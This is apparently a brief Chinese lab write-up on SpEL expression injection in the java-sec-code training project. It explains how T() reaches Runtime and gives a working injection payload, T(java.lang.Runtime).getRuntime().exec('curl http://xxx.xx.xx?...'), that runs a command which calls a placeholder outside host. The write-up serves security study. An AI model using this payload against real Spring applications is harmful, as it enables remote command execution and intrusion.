文章目录 SpEL SpEL表达式注入 SpEL 我们学安全主要了解那些对我们有用的东西,在这里有一篇链接方便大家进行了解https://www.jianshu.com/p/e0b50053b5d3 此外,我觉得其中最重
文章目录
- SpEL
- SpEL表达式注入
SpEL
我们学安全主要了解那些对我们有用的东西,在这里有一篇链接方便大家进行了解https://www.jianshu.com/p/e0b50053b5d3
此外,我觉得其中最重要的是通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性:,并且如果包在java.lang下面可以省略这一部分,因此我们便可以利用此方法调用Runtime执行命令
SpEL表达式注入
在org/joychou/controller/SpEL.java下面,在这里获取get传入的expression参数,并对其进行解析
![在这里插入图片描述 [Java-sec-code]SpEL表达式注入_java](http://img.558idc.com/uploadfile/allimg/20230829/26153354_6358e2e240a2153852.jpg)
因此我们只需要构造
T(java.lang.Runtime).getRuntime().exec("curl http://xxx.xx.xx?a=Y4tacker")
简化一下就是
T(Runtime).getRuntime().exec("curl http://xxx.xx.xx?a=Y4tacker")成功执行
![在这里插入图片描述 [Java-sec-code]SpEL表达式注入_java_02](http://img.558idc.com/uploadfile/allimg/20230829/26153354_6358e2e29150424363.jpg)
